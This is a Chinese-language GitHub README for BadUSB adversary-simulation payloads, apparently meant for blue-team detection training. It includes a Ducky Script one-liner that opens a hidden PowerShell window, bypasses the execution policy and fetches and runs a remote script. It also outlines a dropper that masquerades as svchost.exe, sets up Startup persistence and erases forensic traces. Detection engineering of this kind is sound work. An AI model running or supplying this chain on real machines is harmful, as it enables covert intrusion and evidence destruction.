spac3gh0st00/Intruder-Alert-BadUSB-Adversary-Simulation-Payloads

GitHub: spac3gh0st00/Intruder-Alert-BadUSB-Adversary-Simulation-Payloads

一套面向蓝队检测规则验证的 BadUSB 攻击模拟 Payload 集合,覆盖从 HID 注入到持久化再到痕迹清除的完整攻击链。

Stars: 0 | Forks: 0

# Intruder-Alert — BadUSB 对手模拟 Payload ## 概述 本仓库包含专为 **Flipper Zero** 和 **USB Rubber Ducky** 设计的 BadUSB payload,旨在用于对手模拟和 SOC 检测工程。每个 payload 均代表一种真实的攻击技术,蓝队可利用这些技术来构建、调整和验证检测规则。 **作者:** spac3gh0st **目标平台:** Windows 10 / 11 **应用场景:** SOC 实验室 — 检测与事件响应培训 ## 仓库结构 ``` . ├── flipper-bad.txt # Ducky Script — HID payload launcher ├── flipper-badv2.ps1 # PowerShell stage-two dropper └── README.md # This file ``` ## Payload 详情 ### `flipper-bad.txt` — HID 启动器 (Ducky Script) | 属性 | 值 | |---|---| | 接口 | Flipper Zero / Rubber Ducky | | 技术 | T1204.002 — 用户执行:恶意文件 | | 动作 | 打开隐藏的 PowerShell 窗口并获取第二阶段脚本 | **工作原理:** 通过打开 Windows“运行”对话框并执行单行命令来模拟物理 HID(键盘)攻击,该命令通过 `Invoke-Expression` 拉取远程 PowerShell 脚本。窗口处于隐藏状态(`-w h`),并且绕过执行策略(`-Ep Bypass`)。 **设置:** 将 `STRING` 命令中的占位符 URL 替换为托管的第二阶段脚本的 URL: ``` STRING powershell -w h -NoP -Ep Bypass $dc='';irm | iex ``` ### `flipper-badv2.ps1` — 第二阶段投放器 (PowerShell) | 属性 | 值 | |---|---| | 语言 | PowerShell 5.1+ | | 技术 | T1105 — 入口工具传输 | | 技术 | T1547.001 — 启动/登录自动启动:注册表运行键 / 启动文件夹 | | 技术 | T1070.004 — 指标移除:文件删除 | | 动作 | 下载、执行 payload 并实现持久化;清除取证痕迹 | **执行流程:** ``` [HID Trigger] │ ▼ [1] Create drop directory → C:\Windows\Temp\Cache\ │ ▼ [2] Download payload → saved as svchost.exe (process name masquerading) │ ▼ [3] Execute payload → Start-Process │ ▼ [4] Establish persistence → Startup folder shortcut (.lnk) │ ▼ [5] Clear forensic trail → Run MRU, PS history, Recycle Bin ``` ## MITRE ATT&CK 覆盖范围 | ID | 技术 | 描述 | |---|---|---| | T1200 | 硬件添加 | 物理 HID 设备攻击 | | T1059.001 | 命令和脚本解释器:PowerShell | 第一阶段启动器 | | T1105 | 入口工具传输 | 远程 payload 下载 | | T1036.005 | 伪装:匹配合法名称 | Payload 命名为 `svchost.exe` | | T1547.001 | 启动自动启动:启动文件夹 | 通过 `.lnk` 快捷方式实现持久化 | | T1070.004 | 指标移除:文件删除 | PS 历史记录、运行 MRU、回收站被清空 | ## 检测机会(蓝队笔记) 使用这些 payload 来构建和验证针对以下信号的检测规则: - 从 `explorer.exe` 产生的带有 `-w h` 和 `-Ep Bypass` 参数的可疑 `powershell.exe` 进程 - 在单个命令中链式使用 **`Invoke-WebRequest` / `irm` + `iex`**(无文件执行模式) - 向 **`C:\Windows\Temp\`** 目录写入以已知系统进程命名的可执行文件 - 在 **`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\`** 中创建 **`.lnk`** 文件 - 通过从 PowerShell 生成的 `reg.exe` **删除 `RunMRU` 注册表键** - 对 `PSReadLine` 历史文件路径(**`ConsoleHost_history.txt`**)执行 **`Remove-Item`** 操作 ## 实验环境设置要求 - 带有 BadUSB 应用的 Flipper Zero 或 USB Rubber Ducky - Windows 10/11 虚拟机(建议使用快照 — 每次测试后进行恢复) - 用于托管 payload 的文件托管端点(例如:本地 HTTP 服务器、Dropbox、GitHub raw) - 用于检测验证的 SIEM 或 EDR(例如:Splunk、Elastic、Microsoft Defender for Endpoint) ## 致谢 灵感来源于 **i-am-Jakoby**、**Luther** 以及更广泛的 BadUSB/攻击性 PowerShell 社区所使用的技术。 ## 许可证 仅供教育和授权测试使用。请参阅上方的 `DISCLAIMER`。
标签:BadUSB, DAST, Ducky Script, Flipper Zero, HID攻击, IPv6, OpenCanary, PowerShell, SOC检测工程, TGT, USB Rubber Ducky, Windows 10, Windows 11, 初始访问, 取证清理, 安全工具集合, 安全检测规则, 对手模拟, 恶意软件分析, 恶意载荷, 攻防演练, 数据展示, 物理安全, 私有化部署, 红队, 网络信息收集, 自动化攻击, 防御规避